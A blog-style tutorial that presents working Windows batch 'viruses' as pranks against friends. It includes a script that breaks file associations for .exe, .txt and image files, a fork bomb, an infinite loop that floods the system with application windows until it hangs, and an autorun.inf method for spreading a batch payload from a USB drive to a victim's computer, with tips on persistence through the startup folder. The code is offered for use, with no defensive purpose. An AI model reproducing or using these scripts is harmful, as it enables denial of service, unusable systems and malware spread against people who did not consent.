Extension Changer Virus

Guys, have you even imagined that if you can change the extensions of all the files in one go?

Yes, this is possible. :)

You can change the extensions of the existing files & make them useless.

For example you have a set of .txt files (say ~1000 files), you can change its extension in one go to anything & this would make the file useless (until the user knows). 

You can use this as a prank or fun moments or to trouble your friends. :)

Here we go:

As usual, open the notepad, paste the code & save it as a batch (.bat) file.

#########################################

@echo off

assoc .txt=anything // this command associates extension .txt with filetype anything.

assoc .exe=anything

assoc .jpeg=anything

assoc .png=anything

assoc .mpeg=anything

#########################################

Every extension is associated with a filetype like extension ‘exe’ is  is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.

Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.

Fork Bomb

Guys, what do you understand by a Fork Bomb?  

Most of you must be aware of this, but today I am going to show you a smallest virus that can can act like a grenade.

Believe me, you are gonna love this virus. It basically consumes all the CPU resources & make it hanged.

This code creates a large number of processes very quickly in order to saturate the process table of windows. And it will just hang the windows. No solution other than reboot the windows.

& if this virus is present in startup folder, god saves you. :)

(if this is in startup, then also it can be prevented, I will show you that in another article)

So here is the code:

Tiny but most powerful:

%0|%0

Just copy these 5 characters in a notepad & save it as .bat file. run this & be amazed of it. :)

Application Bomber

Hey guys, Hope all you are doing well.

Here is another virus that will eventually eats up all the CPU memory & will hang your computer. :)

Once you trigger this virus, it will flood the instances of listed applications in the virus code, You can add/remove more applications as per your requirement in the same syntax.

So Here is the code: :)

Copy & paste the code in a notepad, &  save it with a name <filename>.bat

@echo off    // It basically instructs to hide the commands when batch files is executed

:x   //loop variable

startwinword 

startmspaint  //open paint

start notepad

start write

startcmd //open command prompt

start explorer

start control

startcalc // open calculator

goto x // infinite loop

This code once executed will start opening different applications like paint,notepad,command prompt repeatedly, irritating victim and of course affecting the performance. & eventually your system will be hanged forever until you restart. 

(or if you put this piece of code in startup folder, simple restart also won't work here)

So play around with these small viruses, & keep visiting here with more fun stuff.

Creating and Spreading virus from a Pen-drive

Hi Guys,
You must be interested in creating a self executable virus.

Sound interesting? :)
Well, then you are at a right place. I am gonna show you how to spread virus from a pen drive.

Everybody is having a pen drive these days, so its easy to play around with this small virus trick.

---------So here we go---------

Step 1

Open your notepad and write:
[autorun]

open=anything.bat

Icon=anything.ico 
Now save this file as ‘autorun.inf’

Step 2

Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

Now it depends on you what you want to put inside your batch file. :)
